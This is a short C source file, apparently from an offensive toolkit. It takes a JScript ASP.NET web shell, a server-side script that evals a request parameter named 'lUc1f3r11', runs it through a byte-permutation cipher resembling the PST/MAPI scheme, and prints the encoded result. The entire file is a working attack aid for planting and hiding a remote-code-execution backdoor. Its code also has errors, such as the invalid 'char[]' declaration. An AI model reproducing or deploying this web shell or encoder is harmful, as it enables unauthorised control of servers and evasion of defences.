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payloadenc.c
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// compiled on windows :(
#include <stdio.h>
#include <windows.h>
#include <string.h>
byte mpbbCrypt[] =
{
65, 54, 19, 98, 168, 33, 110, 187,
244, 22, 204, 4, 127, 100, 232, 93,
30, 242, 203, 42, 116, 197, 94, 53,
210, 149, 71, 158, 150, 45, 154, 136,
76, 125, 132, 63, 219, 172, 49, 182,
72, 95, 246, 196, 216, 57, 139, 231,
35, 59, 56, 142, 200, 193, 223, 37,
177, 32, 165, 70, 96, 78, 156, 251,
170, 211, 86, 81, 69, 124, 85, 0,
7, 201, 43, 157, 133, 155, 9, 160,
143, 173, 179, 15, 99, 171, 137, 75,
215, 167, 21, 90, 113, 102, 66, 191,
38, 74, 107, 152, 250, 234, 119, 83,
178, 112, 5, 44, 253, 89, 58, 134,
126, 206, 6, 235, 130, 120, 87, 199,
141, 67, 175, 180, 28, 212, 91, 205,
226, 233, 39, 79, 195, 8, 114, 128,
207, 176, 239, 245, 40, 109, 190, 48,
77, 52, 146, 213, 14, 60, 34, 50,
229, 228, 249, 159, 194, 209, 10, 129,
18, 225, 238, 145, 131, 118, 227, 151,
230, 97, 138, 23, 121, 164, 183, 220,
144, 122, 92, 140, 2, 166, 202, 105,
222, 80, 26, 17, 147, 185, 82, 135,
88, 252, 237, 29, 55, 73, 27, 106,
224, 41, 51, 153, 189, 108, 217, 148,
243, 64, 84, 111, 240, 198, 115, 184,
214, 62, 101, 24, 68, 31, 221, 103,
16, 241, 12, 25, 236, 174, 3, 161,
20, 123, 169, 11, 255, 248, 163, 192,
162, 1, 247, 46, 188, 36, 104, 117,
13, 254, 186, 47, 181, 208, 218, 61,
20, 83, 15, 86, 179, 200, 122, 156,
235, 101, 72, 23, 22, 21, 159, 2,
204, 84, 124, 131, 0, 13, 12, 11,
162, 98, 168, 118, 219, 217, 237, 199,
197, 164, 220, 172, 133, 116, 214, 208,
167, 155, 174, 154, 150, 113, 102, 195,
99, 153, 184, 221, 115, 146, 142, 132,
125, 165, 94, 209, 93, 147, 177, 87,
81, 80, 128, 137, 82, 148, 79, 78,
10, 107, 188, 141, 127, 110, 71, 70,
65, 64, 68, 1, 17, 203, 3, 63,
247, 244, 225, 169, 143, 60, 58, 249,
251, 240, 25, 48, 130, 9, 46, 201,
157, 160, 134, 73, 238, 111, 77, 109,
196, 45, 129, 52, 37, 135, 27, 136,
170, 252, 6, 161, 18, 56, 253, 76,
66, 114, 100, 19, 55, 36, 106, 117,
119, 67, 255, 230, 180, 75, 54, 92,
228, 216, 53, 61, 69, 185, 44, 236,
183, 49, 43, 41, 7, 104, 163, 14,
105, 123, 24, 158, 33, 57, 190, 40,
26, 91, 120, 245, 35, 202, 42, 176,
175, 62, 254, 4, 140, 231, 229, 152,
50, 149, 211, 246, 74, 232, 166, 234,
233, 243, 213, 47, 112, 32, 242, 31,
5, 103, 173, 85, 16, 206, 205, 227,
39, 59, 218, 186, 215, 194, 38, 212,
145, 29, 210, 28, 34, 51, 248, 250,
241, 90, 239, 207, 144, 182, 139, 181,
189, 192, 191, 8, 151, 30, 108, 226,
97, 224, 198, 193, 89, 171, 187, 88,
222, 95, 223, 96, 121, 126, 178, 138,
71, 241, 180, 230, 11, 106, 114, 72,
133, 78, 158, 235, 226, 248, 148, 83,
224, 187, 160, 2, 232, 90, 9, 171,
219, 227, 186, 198, 124, 195, 16, 221,
57, 5, 150, 48, 245, 55, 96, 130,
140, 201, 19, 74, 107, 29, 243, 251,
143, 38, 151, 202, 145, 23, 1, 196,
50, 45, 110, 49, 149, 255, 217, 35,
209, 0, 94, 121, 220, 68, 59, 26,
40, 197, 97, 87, 32, 144, 61, 131,
185, 67, 190, 103, 210, 70, 66, 118,
192, 109, 91, 126, 178, 15, 22, 41,
60, 169, 3, 84, 13, 218, 93, 223,
246, 183, 199, 98, 205, 141, 6, 211,
105, 92, 134, 214, 20, 247, 165, 102,
117, 172, 177, 233, 69, 33, 112, 12,
135, 159, 116, 164, 34, 76, 111, 191,
31, 86, 170, 46, 179, 120, 51, 80,
176, 163, 146, 188, 207, 25, 28, 167,
99, 203, 30, 77, 62, 75, 27, 155,
79, 231, 240, 238, 173, 58, 181, 89,
4, 234, 64, 85, 37, 81, 229, 122,
137, 56, 104, 82, 123, 252, 39, 174,
215, 189, 250, 7, 244, 204, 142, 95,
239, 53, 156, 132, 43, 21, 213, 119,
52, 73, 182, 18, 10, 127, 113, 136,
253, 157, 24, 65, 125, 147, 216, 88,
44, 206, 254, 36, 175, 222, 184, 54,
200, 161, 128, 166, 153, 152, 168, 47,
14, 129, 101, 115, 228, 194, 162, 138,
212, 225, 17, 208, 8, 139, 42, 242,
237, 154, 100, 63, 193, 108, 249, 236
};
#define mpbbR (mpbbCrypt)
#define mpbbS (mpbbCrypt + 256)
#define mpbbI (mpbbCrypt + 512)
void CryptPermute(PVOID pv, int cb, BOOL fEncrypt)
{
// cb -> buffer size
// pv -> buffer
byte * pb = (byte *)pv;
byte * pbTable = fEncrypt ? mpbbR : mpbbI;
const DWORD * pdw = (const DWORD *) pv;
DWORD dwCurr;
byte b;
if (cb >= sizeof(DWORD))
{
while (0 != (((DWORD_PTR) pb) % sizeof(DWORD)))
{
*pb = pbTable[*pb];
pb++;
cb--;
}
pdw = (const DWORD *) pb;
for (; cb >= 4; cb -= 4)
{
dwCurr = *pdw;
b = (byte) (dwCurr & 0xFF);
*pb = pbTable[b];
pb++;
dwCurr = dwCurr >> 8;
b = (byte) (dwCurr & 0xFF);
*pb = pbTable[b];
pb++;
dwCurr = dwCurr >> 8;
b = (byte) (dwCurr & 0xFF);
*pb = pbTable[b];
pb++;
dwCurr = dwCurr >> 8;
b = (byte) (dwCurr & 0xFF);
*pb = pbTable[b];
pb++;
pdw++;
}
pb = (byte *) pdw;
}
for (; --cb >= 0; ++pb)
*pb = pbTable[*pb];
}
void main(){
char[] payload = "<script language='JScript' runat='server' Page aspcompat=true>function Page_Load(){eval(Request['lUc1f3r11'],'unsafe');}</script>";
int length = strlen(payload);
CryptPermute(payload, length, false);
printf("[+] the encoded payload is: %s", payload);
}